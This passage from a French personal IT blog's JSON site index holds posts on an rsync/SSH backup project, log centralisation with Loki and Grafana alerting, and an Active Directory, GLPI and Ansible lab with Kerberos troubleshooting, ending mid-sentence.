réseaux, l\u0026rsquo;un des projets les plus concrets a porté sur la résilience des données. Une organisation dont la solution de sauvegarde historique était devenue incompatible avec son infrastructure migrant vers Proxmox avait besoin d\u0026rsquo;une alternative. Il fallait non seulement la trouver, mais la tester, la documenter techniquement, et la justifier.\nLes objectifs du projet étaient précis : comprendre et mettre en œuvre les deux paradigmes de sauvegarde (incrémentale et différentielle), implémenter une solution robuste avec rsync et SSH, écrire des scripts Bash maintenables avec gestion d\u0026rsquo;erreurs, automatiser l\u0026rsquo;ensemble via crontab, documenter les procédures de restauration, et le présenter en 15 minutes avec démo.\nC\u0026rsquo;est un exercice complet, pas juste « faire marcher un truc » mais vraiment maîtriser les concepts et être capable de les expliquer.\nArchitecture et choix techniques L\u0026rsquo;architecture que j\u0026rsquo;ai choisie est volontairement simple. Une VM client simule l\u0026rsquo;environnement de production avec des données métier et des images de machines virtuelles. Une VM serveur de stockage reçoit toutes les sauvegardes. Les deux communiquent via SSH avec authentification par clé asymétrique, pas de mot de passe, pas d\u0026rsquo;interaction humaine pour les tâches automatisées.\nVM Client (simulation) ──SSH+rsync──► VM Serveur de stockage 10.0.50.20 10.0.50.10 Données métier : Sauvegardes organisées : SITE / RH / TICKETS ├── SITE/complete/ FICHIERS / MAILS ├── SITE/incremental/ ├── RH/ ... Fichiers lourds : └── MACHINES/ VM_IMAGES/ (simule des VMs) differential/ J\u0026rsquo;ai retenu rsync comme outil principal, c\u0026rsquo;est la référence pour la synchronisation de fichiers sous Linux. Il dispose d\u0026rsquo;un algorithme delta efficace, supporte SSH nativement, et offre des options avancées comme les hard links. Il n\u0026rsquo;y a pas vraiment d\u0026rsquo;alternative sérieuse pour ce cas d\u0026rsquo;usage en termes de rapport fonctionnalités-simplicité.\nPour l\u0026rsquo;authentification, j\u0026rsquo;ai utilisé OpenSSH avec des clés ed25519 dédiées aux opérations non interactives, bien plus sûr qu\u0026rsquo;un accès par mot de passe pour un processus automatisé. Les scripts d\u0026rsquo;orchestration sont en Bash, qui est natif, portable, et parfait pour l\u0026rsquo;automatisation système. Pour la planification, crontab suffisait largement, pas besoin de surcharger avec Ansible ou Jenkins pour cette mission.\nJ\u0026rsquo;aurais pu partir sur Bacula ou Amanda, qui sont des solutions complètes avec interface de gestion et catalogue. Mais ces outils ajoutent une couche de complexité (serveur de catalogue, agents spécialisés, protocoles propriétaires) qui n\u0026rsquo;était pas justifiée ici. L\u0026rsquo;objectif pédagogique était de comprendre les mécanismes fondamentaux, pas de cliquer dans une interface. rsync + SSH, c\u0026rsquo;est transparent, auditable et maîtrisable ligne par ligne.\nIncrémentale vs différentielle : la fondation C\u0026rsquo;est probablement la notion la plus importante de ce projet. Elle détermine directement ton RTO (Recovery Time Objective) et ton RPO (Recovery Point Objective).\nLa sauvegarde incrémentale contient uniquement les changements depuis la dernière sauvegarde, qu\u0026rsquo;elle soit complète ou incrémentale. Elle économise massif en espace et en temps de transfert. Mais pour restaurer, tu dois rejouer toute la chaîne : sauvegarde complète, puis chaque incrément dans l\u0026rsquo;ordre chronologique. Si tu as 15 incrémentaux, tu dois les appliquer 15 fois.\nLa sauvegarde différentielle contient les changements depuis la dernière sauvegarde complète. Elle est plus volumineuse que l\u0026rsquo;incrémentale, surtout vers la fin de la semaine, mais la restauration est plus simple : sauvegarde complète + le dernier différentiel, c\u0026rsquo;est tout. Deux étapes.\nDans mon implémentation, j\u0026rsquo;ai utilisé chaque stratégie selon son contexte. Pour les données métier (peu volatiles, nombreux fichiers), j\u0026rsquo;ai choisi l\u0026rsquo;incrémentale avec --link-dest pour les hard links. Les fichiers inchangés ne sont pas re-copiés, ils sont référencés via un lien physique. Espace disque minimal. Pour les images de VMs (fichiers volumineux, moins nombreux), j\u0026rsquo;ai choisi la différentielle, les fichiers sont gros, donc la restauration doit être rapide et simple.\nMise en place : sans prise de tête Préparation SSH Avant d\u0026rsquo;écrire la moindre ligne de rsync, j\u0026rsquo;ai configuré l\u0026rsquo;authentification SSH correctement. Si SSH n\u0026rsquo;est pas fiable, rien ne fonctionne en automatisé.\nJ\u0026rsquo;ai généré une paire de clés ed25519 dédiée aux sauvegardes, pas ma clé principale d\u0026rsquo;admin. J\u0026rsquo;ai déployé la clé publique sur le compte rsync_user du serveur de stockage, testé la connexion sans mot de passe. Ensuite j\u0026rsquo;ai arrêté de me poser des questions.\nLa DNS interne de Proxmox m\u0026rsquo;a joué un tour. La VM client ne résolvait pas le hostname du serveur. J\u0026rsquo;ai dû ajouter une entrée dans /etc/hosts et comprendre pourquoi la résolution DNS interne n\u0026rsquo;était pas configurée. Petit problème, énorme leçon, toujours vérifier les bases avant de compliqué.\nDeuxième découverte : rsync n\u0026rsquo;était pas installé par défaut sur l\u0026rsquo;installation minimale Debian. which rsync retournait rien. Quelques minutes de débogage avant de saisir l\u0026rsquo;évidence.\nLes scripts de sauvegarde J\u0026rsquo;ai écrit 7 scripts au total. Sauvegarde complète stratégie 1, sauvegarde incrémentale 1, restauration incrémentale 1. Pareil pour la stratégie 2. Plus un script de vérification d\u0026rsquo;espace disque.\nChaque script suit une structure identique. Variables de configuration en tête (faciles à adapter). Vérifications préalables : les répertoires sources existent ? Le serveur SSH est accessible ? Exécution des opérations rsync. Résumé final avec codes de retour. Log horodaté pour chaque exécution.\nLa partie la plus intéressante techniquement est l\u0026rsquo;utilisation de --link-dest. rsync compare les fichiers avec la sauvegarde précédente. Pour les fichiers non modifiés, au lieu de les recopier, il crée un hard link. Résultat : chaque répertoire de sauvegarde semble contenir tous les fichiers, mais ils partagent le même inode sur le disque. L\u0026rsquo;économie d\u0026rsquo;espace est significative quand tes données bougent peu.\nRésultats et cas d\u0026rsquo;usage La solution déployée couvre les besoins initiaux. Deux stratégies opérationnelles, 7 scripts fonctionnels, planification automatique, logs structurés, procédures de restauration documentées et testées.\nConcrètement : 5 contextes métier sauvegardés en incrémental (SITE, RH, TICKETS, FICHIERS, MAILS). Sauvegarde différentielle des images de VMs en place. Économie d\u0026rsquo;espace estimée à 60-70% sur les données peu volatiles grâce aux hard links. Temps moyen de restauration d\u0026rsquo;un contexte métier sous 2 minutes. Logs horodatés pour chaque opération, traçabilité complète.\nLes cas d\u0026rsquo;usage réels vont comme suit. Un fichier est supprimé accidentellement en production. Tu sélectionnes la bonne version dans les incrémentaux et utilises rsync en sens inverse pour la récupérer. Une reprise après sinistre VM : restaure la sauvegarde complète, applique le dernier différentiel.\nLeçons : technique et méthodologie Sur le plan technique, la différence entre incrémentale et différentielle n\u0026rsquo;est pas juste théorique. Elle détermine directement ton RTO et ton RPO, des métriques critiques en production. Les hard links rsync (--link-dest) sont une optimisation d\u0026rsquo;espace remarquable, mais il faut vraiment comprendre ce qu\u0026rsquo;est un inode sous Linux pour ne pas se faire surprendre. Et la gestion des codes de retour rsync importe. Le code 23 correspond à un transfert partiel, tu dois le gérer correctement pour ne pas traiter des erreurs partielles comme des succès.\nSur le plan méthodologique, j\u0026rsquo;ai eu tendance à vouloir écrire les scripts d\u0026rsquo;un coup sans tester chaque brique. La bonne approche : teste rsync manuellement d\u0026rsquo;abord, valide la connexion SSH, puis construis le script autour. Documentation des procédures de restauration, c\u0026rsquo;est aussi important que celle des sauvegardes, mais on la rédige en dernier, ce qui n\u0026rsquo;a aucun sens. Préparer une démo technique force à comprendre vraiment ce qu\u0026rsquo;on a fait. Le fait de devoir expliquer --link-dest en 30 secondes m\u0026rsquo;a obligé à le vraiment saisir.\nLes erreurs courantes : ne pas tester la restauration avant la présentation ou avant d\u0026rsquo;en avoir besoin en production. Laisser la rétention désactivée, les incrémentaux s\u0026rsquo;accumulent indéfiniment. Utiliser root pour les opérations rsync, crée un compte dédié avec les permissions minimales.\nRessources Les scripts et la documentation sont sur GitHub. Si tu entreprends un projet similaire, creuse la documentation rsync, essaie --link-dest sur des données réelles, et teste systématiquement ta restauration avant de l\u0026rsquo;oublier pendant 6 mois.\n","permalink":"https://appercel-clement.netlify.app/posts/asrs9/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eJ\u0026rsquo;ai dû concevoir et implémenter une solution de sauvegarde pour une migration Proxmox. Le scénario était une mission R\u0026amp;D classique : trouver une alternative à la solution historique, la tester en profondeur, documenter comment la restaurer, et présenter le tout à un jury technique. J\u0026rsquo;ai choisi rsync avec SSH, un duo transparent, auditable et maîtrisable. Te voici ce que j\u0026rsquo;ai découvert en mettant les mains dans le cambouis.\u003c/p\u003e","title":"ASRS Projet 9 : Solution de sauvegarde Linux avec rsync et SSH"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nDu monitoring métrique au monitoring d\u0026rsquo;événements Après avoir déployé ma stack Prometheus/Grafana et configuré le monitoring SNMP de mes équipements réseau, une lacune m\u0026rsquo;était devenue évidente : je pouvais observer les métriques en temps réel, mais je n\u0026rsquo;avais aucune visibilité sur ce qui se passait réellement sur les machines. Un pic de CPU sur le pfSense apparaissait sur le dashboard, mais impossible de savoir pourquoi. C\u0026rsquo;était un peu comme regarder un tachymètre sans pouvoir consulter les logs du moteur.\nCe projet marque la transition entre un monitoring purement \u0026ldquo;performatif\u0026rdquo; (est-ce que mon infrastructure tourne ?) et un monitoring qui répond aux vraies questions de sécurité : que s\u0026rsquo;est-il passé, quand, d\u0026rsquo;où ça vient, et est-ce normal ? C\u0026rsquo;est en filigrane la démarche d\u0026rsquo;un SOC réel, où les métriques et les logs sont deux sources complémentaires, pas alternatives.\nMon objectif était de déployer un pipeline centralisé pour collecter les logs du pfSense, du NAS Synology et du Mac, puis de tester les premières alertes mail en temps réel. Rien de révolutionnaire, mais c\u0026rsquo;était nouveau pour moi dans mon homelab.\nLe choix de la stack : Loki plutôt qu\u0026rsquo;ELK Pour cette centralisation, j\u0026rsquo;ai écarté assez rapidement Elasticsearch/ELK. C\u0026rsquo;est une stack puissante, certes, mais elle demande des ressources énormes, surtout Elasticsearch seul qui dévore la RAM. Pour un homelab avec des serveurs modestes, c\u0026rsquo;était disproportionné.\nJ\u0026rsquo;ai choisi Loki pour plusieurs raisons. D\u0026rsquo;abord, il est nativement intégré à Grafana, sans besoin de configurer une interface de requête parallèle. Ensuite, Loki n\u0026rsquo;indexe que les labels des logs, pas leur contenu complet comme Elasticsearch. Cette approche est contre-intuitive au départ (comment chercher dans les logs sans indexation complète ?), mais elle rend le système beaucoup plus léger. Enfin, Loki fonctionne parfaitement avec Promtail, l\u0026rsquo;agent officiel de l\u0026rsquo;écosystème Grafana Labs.\nPour la collecte, Promtail s\u0026rsquo;imposait : il écoute nativement le Syslog UDP sans configuration complexe. Fluent Bit aurait été une alternative plus polyvalente, mais plus coûteuse en configuration.\nPour les alertes, j\u0026rsquo;ai utilisé le système d\u0026rsquo;alerting natif de Grafana plutôt que de déployer un Alertmanager séparé. Grafana Alerting est plus simple à maintenir pour un homelab et largement suffisant pour mes besoins actuels.\nArchitecture et flux des logs Le pipeline est simple : pfSense, NAS Synology et Mac envoient leurs logs en Syslog UDP vers Promtail (port 1514). Promtail les parse, ajoute des labels (notamment le hostname extrait du message), puis les envoie à Loki qui les stocke et les indexe. Grafana explore ensuite ces logs via LogQL, la version Loki de PromQL.\n[pfSense] ──┐ [NAS Syno] ──┤──► [Promtail :1514/UDP] ──► [Loki :3100] ──► [Grafana :3000] [Mac /log] ──┘ La beauté du Syslog UDP, c\u0026rsquo;est son mode \u0026ldquo;fire and forget\u0026rdquo; : les logs partent vers le collecteur sans attendre d\u0026rsquo;acquittement. Si la connexion est surchargée, on perd quelques logs plutôt que de ralentir le firewall avec des acquittements TCP. Ce compromis a du sens sur l\u0026rsquo;infrastructure d\u0026rsquo;une entreprise qui n\u0026rsquo;a pas le choix. Dans un homelab, c\u0026rsquo;est moins critique, mais c\u0026rsquo;est bon à comprendre.\nLa mise en œuvre, avec ses pièges L\u0026rsquo;ajout de Loki et Promtail au docker-compose.yml existant s\u0026rsquo;est fait sans douleur. Le vrai piège attendait ailleurs. Quand j\u0026rsquo;ai essayé de faire remonter les logs, rien ne venait. J\u0026rsquo;ai passé un bon moment à déboguer avant de réaliser le problème : le port UDP n\u0026rsquo;était pas configuré correctement.\nEn Docker, mapper un port UDP demande une syntaxe spécifique : 1514:1514/udp. Oublier le suffixe /udp fait que Docker le mappe en TCP par défaut, silencieusement, sans message d\u0026rsquo;erreur. Les logs ne remontent jamais, et on se demande pourquoi pendant une heure. La vérification avec docker port promtail révèle l\u0026rsquo;erreur : le port n\u0026rsquo;apparaît que comme TCP.\nUne fois ce détail réglé, Promtail a pu recevoir les paquets UDP. L\u0026rsquo;étape suivante était la configuration du relabeling : extraire le hostname du message Syslog et le transformer en label host pour que Grafana puisse filtrer. C\u0026rsquo;est là qu\u0026rsquo;on comprend la philosophie Loki : on paie le coût de l\u0026rsquo;extraction au moment du parsing, pas au moment de la requête.\nLe fichier promtail-config.yaml ressemble à ceci :\n1 2 3 4 5 6 7 8 9 10 11 12 13 clients: - url: http://loki:3100/loki/api/v1/push scrape_configs: - job_name: syslog syslog: listen_address: 0.0.0.0:1514 idle_timeout: 3m labels: job: syslog relabel_configs: - source_labels: [\u0026#39;__syslog_message_hostname\u0026#39;] target_label: \u0026#39;host\u0026#39; Ce relabeling est indispensable. Sans lui, tous les logs arrivent avec le même label et on ne peut pas les distinguer dans Grafana.\nConfigurer pfSense et le NAS Sur pfSense, la configuration est simple : Status → System Logs → Settings, activer le remote logging, pointer vers l\u0026rsquo;IP du Mac et le port 1514. RFC 5424 est recommandé pour une meilleure structuration.\nSur le NAS Synology, il y a un paquet appelé \u0026ldquo;Centre de journaux\u0026rdquo; qui permet d\u0026rsquo;envoyer les logs vers un serveur Syslog externe. Même adresse, même port.\nLa validation se fait en deux étapes. D\u0026rsquo;abord, un sudo tcpdump -i any udp port 1514 sur le Mac pour vérifier que les paquets arrivent au niveau réseau. Ensuite, un coup d\u0026rsquo;œil dans l\u0026rsquo;onglet Explore de Grafana pour vérifier que les logs sont indexés avec les bons labels.\nAlertes mail : configurer le premier test Avec les métriques SNMP déjà en place, j\u0026rsquo;ai décidé de tester les alertes mail en créant une règle simple : alerter si le NAS devient injoignable pendant 2 minutes. C\u0026rsquo;était un cas de test idéal, facile à déclencher manuellement.\nDans Grafana, les alertes se configurent en deux étapes. D\u0026rsquo;abord la Contact Point, le canal où envoyer les notifications. J\u0026rsquo;ai choisi Email, configuré l\u0026rsquo;SMTP en pointant vers Gmail, et c\u0026rsquo;est là que ça s\u0026rsquo;est compliqué. Mon mot de passe Gmail ne fonctionnait pas. Google demande un mot de passe d\u0026rsquo;application si l\u0026rsquo;authentification à deux facteurs est activée, ce qui était mon cas. Une fois ce détail réglé, la Contact Point était opérationnelle.\nEnsuite, la Alert Rule. Elle repose sur une métrique Prometheus simple : up{job=\u0026quot;synology-nas-snmp\u0026quot;}. Cette métrique vaut 1 quand le NAS répond, 0 quand il ne répond pas. La condition == 0 pendant 2 minutes suffit à déclencher l\u0026rsquo;alerte.\n1 2 condition: up{job=\u0026#34;synology-nas-snmp\u0026#34;} == 0 for: 2m J\u0026rsquo;ai testé en désactivant SNMP sur le NAS. Au bout de 2 minutes, l\u0026rsquo;alerte est passée de Normal à Pending, puis à Firing. L\u0026rsquo;email est arrivé avec le résumé, la valeur du problème, et le nom du composant affecté. Ça a fonctionné du premier coup.\nCe que j\u0026rsquo;en retiens Techniquement, j\u0026rsquo;ai appris des choses évidentes une fois qu\u0026rsquo;on les connaît. La distinction entre métriques (time-series numériques) et logs (événements textuels) est centrale : ce ne sont pas deux façons de voir la même chose, ce sont deux représentations complémentaires. Les métriques répondent à \u0026ldquo;comment ça va\u0026rdquo;, les logs répondent à \u0026ldquo;que s\u0026rsquo;est-il passé\u0026rdquo;. Les deux sont nécessaires.\nLe concept de labeling Loki m\u0026rsquo;a forcé à penser différemment par rapport à Elasticsearch. Avec Elasticsearch, on indexe tout et on filtre à la requête. Avec Loki, on décide des labels à l\u0026rsquo;avance et on les utilise pour naviguer. C\u0026rsquo;est une contrainte qui rend le système plus efficace.\nLe protocole Syslog UDP lui-même a du sens. \u0026ldquo;Fire and forget\u0026rdquo; signifie qu\u0026rsquo;on ne ralentit pas le firewall en attendant un acquittement. Sur une infrastructure surchargée, on peut perdre quelques logs pour ne pas dégrader les performances. C\u0026rsquo;est un compromis accepté largement dans le secteur.\nSur le plan méthodologique, une chose m\u0026rsquo;a marqué : la validation par étapes. J\u0026rsquo;aurais pu partir directement sur Loki et Grafana et chercher pourquoi ça ne marche pas. À la place, j\u0026rsquo;ai vérifié le flux réseau avec tcpdump d\u0026rsquo;abord, puis j\u0026rsquo;ai validé Loki avant de construire les dashboards. Ça m\u0026rsquo;a sauvé des heures de debugging.\nTester les alertes concrètement était aussi important. Une règle visible dans Alerting → Alert Rules n\u0026rsquo;est pas une preuve qu\u0026rsquo;elle fonctionne. J\u0026rsquo;ai désactivé le NAS, attendu 2 minutes, et vérifié que l\u0026rsquo;email arrivait. Seul ce test en conditions réelles valide le tout.\nLes erreurs à éviter sont simples à énoncer, difficiles à ne pas faire. Oublier le /udp dans la déclaration du port Docker est une erreur silencieuse : Docker ne prévient pas, il mappe juste en TCP. Utiliser son mot de passe Gmail principal au lieu d\u0026rsquo;un mot de passe d\u0026rsquo;application avec 2FA activé bloque le SMTP sans message d\u0026rsquo;erreur clair. Ne pas tester l\u0026rsquo;alerte avant de conclure qu\u0026rsquo;elle fonctionne laisse la porte ouverte à une mauvaise surprise à 3h du matin.\nProchaines étapes Le prochain chantier naturel est d\u0026rsquo;intégrer les logs MikroTik. Le switch supporte Syslog natif, il suffira d\u0026rsquo;ajouter la destination dans RouterOS. Côté alerting, je veux enrichir les règles existantes : CPU du Mac, débit anormal, patterns suspects dans les logs.\nÀ moyen terme, Alertmanager offrira plus de flexibilité : groupement des alertes, silences temporaires, escalade vers un Slack ou un PagerDuty. Grafana Alerting natif est suffisant pour commencer, mais Alertmanager c\u0026rsquo;est un autre niveau.\nL\u0026rsquo;horizon qui me motive vraiment, c\u0026rsquo;est une analyse sémantique des logs par IA locale. Ingérer les logs Loki dans une base vectorielle, les soumettre à un LLM local via Ollama, générer un rapport de sécurité quotidien en langage naturel. Quand on a du contenu brut, c\u0026rsquo;est facile de manquer le signal. Une IA qui résume, c\u0026rsquo;est peut-être la réponse.\n","permalink":"https://appercel-clement.netlify.app/posts/loki/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"du-monitoring-métrique-au-monitoring-dévénements\"\u003eDu monitoring métrique au monitoring d\u0026rsquo;événements\u003c/h2\u003e\n\u003cp\u003eAprès avoir déployé ma stack Prometheus/Grafana et configuré le monitoring SNMP de mes équipements réseau, une lacune m\u0026rsquo;était devenue évidente : je pouvais observer les métriques en temps réel, mais je n\u0026rsquo;avais aucune visibilité sur ce qui se passait réellement sur les machines. Un pic de CPU sur le pfSense apparaissait sur le dashboard, mais impossible de savoir \u003cem\u003epourquoi\u003c/em\u003e. C\u0026rsquo;était un peu comme regarder un tachymètre sans pouvoir consulter les logs du moteur.\u003c/p\u003e","title":"Projet monitoring : centralisation des logs avec Loki et premières alertes mail"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nIntroduction J\u0026rsquo;ai construit une infrastructure IT fonctionnelle pour une entreprise fictive appelée Vertex Studio, un studio de développement de jeux vidéo. Ce projet m\u0026rsquo;a demandé de concevoir et déployer un environnement complet avec Active Directory, GLPI pour la gestion de parc, et Ansible pour l\u0026rsquo;automatisation. Je vais te partager comment j\u0026rsquo;ai abordé les défis techniques, notamment les pièges de l\u0026rsquo;authentification Kerberos, et ce que j\u0026rsquo;en ai tiré sur le plan professionnel.\nContexte : de la théorie à la pratique Vertex Studio simule une entreprise réelle avec 40+ collaborateurs répartis en plusieurs départements : Direction, Développement, Graphisme, Audio, Testing, et IT. Le scénario pédagogique m\u0026rsquo;a confié la responsabilité de concevoir une infrastructure qui répond à leurs besoins tout en respectant les bonnes pratiques de sécurité. À l\u0026rsquo;issue du projet, j\u0026rsquo;aurais dû pouvoir la présenter devant un jury technique et défendre mes choix.\nLes objectifs étaient clairs : maîtriser l\u0026rsquo;administration d\u0026rsquo;environnements d\u0026rsquo;entreprise, comprendre les mécanismes d\u0026rsquo;authentification distribués, notamment Kerberos, et automatiser les tâches répétitives plutôt que de les gérer manuellement. Sur le plan portfolio, il s\u0026rsquo;agissait de démontrer ma capacité à gérer un projet IT de A à Z.\nTout cela s\u0026rsquo;est déroulé sur mon infrastructure Proxmox personnelle (3 mini-PC avec 96 Go de RAM). J\u0026rsquo;ai créé 4 machines virtuelles dédiées : un contrôleur de domaine Windows Server 2022, un serveur Debian pour GLPI et Ansible, et deux clients pour les tests d\u0026rsquo;intégration.\nArchitecture : trois piliers, une vision L\u0026rsquo;infrastructure repose sur trois piliers. D\u0026rsquo;abord, Active Directory pour la gestion centralisée des utilisateurs, groupes et stratégies de groupe. Ensuite, GLPI : un logiciel open-source pour l\u0026rsquo;inventaire et la gestion du parc matériel et logiciel. Enfin, Ansible pour automatiser les configurations et les déploiements sur tous les postes de travail.\nJ\u0026rsquo;ai choisi Windows Server 2022 pour AD, DNS et DHCP, qui constituent le standard industriel avec une documentation abondante. GLPI offrait une synchronisation LDAP native avec Active Directory, ce qui facilitait l\u0026rsquo;intégration. Pour l\u0026rsquo;automatisation, j\u0026rsquo;ai préféré Ansible à PowerShell DSC. La syntaxe YAML d\u0026rsquo;Ansible me semblait plus accessible, et surtout, Ansible permet de gérer Windows et Linux dans un même outil, une compétence très demandée en entreprise.\nJ\u0026rsquo;ai appliqué la méthodologie AGDLP (Accounts, Global groups, Domain Local groups, Permissions), qui sépare clairement « qui sont les utilisateurs » de « à quoi ont-ils accès ». Les comptes utilisateurs sont organisés par département, les groupes globaux représentent les rôles métier, et les groupes locaux de domaine contrôlent l\u0026rsquo;accès aux ressources. Cette hiérarchie permet de scaler sans devenir fou.\nMise en place : étape par étape Active Directory et l\u0026rsquo;infrastructure réseau J\u0026rsquo;ai commencé par installer Windows Server 2022 sur Proxmox et le promouvoir en contrôleur de domaine. J\u0026rsquo;ai créé le domaine vertex.local avec les rôles AD DS, DNS et DHCP.\nLa structure organisationnelle a suivi les départements. J\u0026rsquo;ai créé les OUs (Organizational Units) correspondantes, généré 40+ comptes utilisateurs via PowerShell, puis configuré les stratégies de groupe pour les bases de sécurité. Assez basique, mais efficace.\nLe premier piège que j\u0026rsquo;ai rencontré concerne les délais de réplication AD. Lors des tests, certains changements mettaient du temps à se propager. J\u0026rsquo;ai appris à forcer la réplication avec repadmin /syncall pour accélérer le cycle de développement.\nGLPI et synchronisation LDAP J\u0026rsquo;ai installé GLPI sur Debian avec Apache, MariaDB et PHP. L\u0026rsquo;objectif était d\u0026rsquo;avoir un inventaire automatisé du parc matériel et logiciel, centralisé et à jour.\nLa partie critique a été la configuration de l\u0026rsquo;authentification LDAP dans GLPI. Une fois en place, les utilisateurs importés automatiquement depuis Active Directory pouvaient se connecter directement, un seul compte AD pour toutes les ressources. C\u0026rsquo;est un gros gain en maintenance.\nLa difficulté ici venait des permissions sur les OUs. GLPI ne voyait pas certains utilisateurs parce que le compte de service que j\u0026rsquo;avais créé ne disposait pas des permissions de lecture suffisantes sur l\u0026rsquo;annuaire. J\u0026rsquo;ai dû affiner les permissions LDAP dans AD pour que le compte de service puisse parcourir l\u0026rsquo;arborescence correctement.\nAnsible et les playbooks C\u0026rsquo;est la partie la plus technique et la plus gratifiante. J\u0026rsquo;ai créé plusieurs playbooks pour automatiser le montage des partages réseau, le déploiement d\u0026rsquo;outils d\u0026rsquo;accessibilité, et la gestion des mises à jour.\nLe montage automatique des partages réseau semblait simple en théorie. Chaque département reçoit son propre lecteur réseau (P: pour les Projets, D: pour le Département, etc.). Mais en pratique, cela a mené droit aux problèmes d\u0026rsquo;authentification Kerberos : la plus grosse difficulté du projet.\nL\u0026rsquo;authentification Kerberos : le combat J\u0026rsquo;ai passé énormément de temps sur ce problème. Le montage automatique des partages nécessitait que les clients établissent une authentification Kerberos avec Active Directory. Voici ce qui s\u0026rsquo;est mal passé.\nD\u0026rsquo;abord, j\u0026rsquo;ai reçu une erreur récurrente : « Server not found in Kerberos database ». Cela signifiait que le SPN (Service Principal Name) n\u0026rsquo;était pas correctement enregistré dans AD. Les SPNs sont des identifiants qui permettent à Kerberos d\u0026rsquo;associer un service à un compte AD. J\u0026rsquo;ai dû les enregistrer manuellement avec setspn.\nEnsuite, les tickets Kerberos expiraient. Les clients perdaient leur authentification après quelques heures, ce qui cassait les montages réseau. J\u0026rsquo;ai dû configurer le renouvellement automatique des tickets via kinit et cron.\nMais le vrai piège que j\u0026rsquo;ai commis était d\u0026rsquo;exécuter les scripts de montage en contexte SYSTEM (via une tâche planifiée Windows standard). Le contexte SYSTEM n\u0026rsquo;a pas d\u0026rsquo;identité de domaine, il ne peut pas passer le ticket Kerberos. Les montages échouaient silencieusement. J\u0026rsquo;ai dû configurer la tâche planifiée avec le type de connexion interactive_token pour que les scripts s\u0026rsquo;exécutent en tant qu\u0026rsquo;utilisateur réel.\nLa solution finale a combiné plusieurs éléments. Les tâches planifiées tournent maintenant en interactive_token logon type. Les scripts PowerShell vérifient d\u0026rsquo;abord l\u0026rsquo;appartenance de l\u0026rsquo;utilisateur aux groupes AD avant de monter les lecteurs. Ils gèrent aussi les conflits de lettres de lecteur (si quelqu\u0026rsquo;un branche une clé USB). Et j\u0026rsquo;ai ajouté des logs détaillés pour faciliter le debugging en production.\nIntégration dans le homelab Ce projet s\u0026rsquo;est intégré naturellement dans mon infrastructure Proxmox existante. J\u0026rsquo;ai pu tester la cohabitation avec mon pfSense et mon NAS Synology. Pour l\u0026rsquo;instant, tout est sur le même réseau, mais je prévois une segmentation VLAN, DMZ pour GLPI, VLAN de management, VLAN utilisateurs. Les VMs critiques (AD, GLPI) sont sauvegardées quotidiennement sur le NAS.\nRésultat opérationnel À la fin, j\u0026rsquo;avais une infrastructure fonctionnelle permettant la gestion centralisée de 40+ utilisateurs, un inventaire automatisé du parc, et un déploiement automatisé d\u0026rsquo;outils et de patchs. Concrètement :\n6 départements structurés dans AD avec leurs OUs et groupes 3 playbooks Ansible opérationnels (montage réseau, accessibilité, patch management) 100% d\u0026rsquo;automatisation sur les tâches récurrentes Les cas d\u0026rsquo;usage réels décrivent bien ce qu\u0026rsquo;une infrastructure peut faire. Un nouveau développeur arrive, son compte AD est créé, il reçoit automatiquement accès au partage Développement et aux outils requis. Une mise à jour de sécurité critique sort, elle se déploie en une seule commande Ansible sur tout le parc. Un poste tombe en panne, GLPI permet d\u0026rsquo;identifier rapidement le matériel de remplacement disponible.\nCe qu\u0026rsquo;il faut retenir Sur le plan technique, j\u0026rsquo;ai découvert que Active Directory n\u0026rsquo;est pas juste une base d\u0026rsquo;utilisateurs. C\u0026rsquo;est un écosystème complexe avec DNS, Kerberos, réplication, stratégies de groupe. Comprendre les SPNs, les tickets Kerberos et leur cycle de vie m\u0026rsquo;a forcé à monter en compétences réelles, pas juste de surface.\nL\u0026rsquo;importance du contexte d\u0026rsquo;exécution m\u0026rsquo;a frappé fort. Une tâche planifiée en SYSTEM ne peut pas accéder aux ressources réseau authentifiées. Ça semble évident une fois qu\u0026rsquo;on le sait, mais ça m\u0026rsquo;a coûté plusieurs heures de débogage avant de saisir l\u0026rsquo;évidence. J\u0026rsquo;ai aussi découvert la puissance d\u0026rsquo;Ansible sur Windows, WinRM, les modules Windows spécifiques, et surtout l\u0026rsquo;idempotence qui permet de relancer un playbook 10 fois sans casser l\u0026rsquo;état.\nLe principe AGDLP n\u0026rsquo;est pas qu\u0026rsquo;une best practice théorique. C\u0026rsquo;est ce qui permet de rester sain d\u0026rsquo;esprit quand on gère 50+ utilisateurs et 10+ ressources partagées.\nSur le plan méthodologique, documenter au fur et à mesure a changé la donne. J\u0026rsquo;ai pris des notes Obsidian après chaque étape clé. Quand j\u0026rsquo;ai dû préparer la présentation technique, tout était déjà structuré. À l\u0026rsquo;opposé, utiliser Claude pour comprendre Kerberos m\u0026rsquo;a confronté à une certaine culpabilité, douter de ma légitimité en utilisant un assistant IA pour mon apprentissage. Mais en expliquant à l\u0026rsquo;oral ce que j\u0026rsquo;avais assimilé, j\u0026rsquo;ai vraiment intégré les concepts. L\u0026rsquo;IA a juste accéléré le 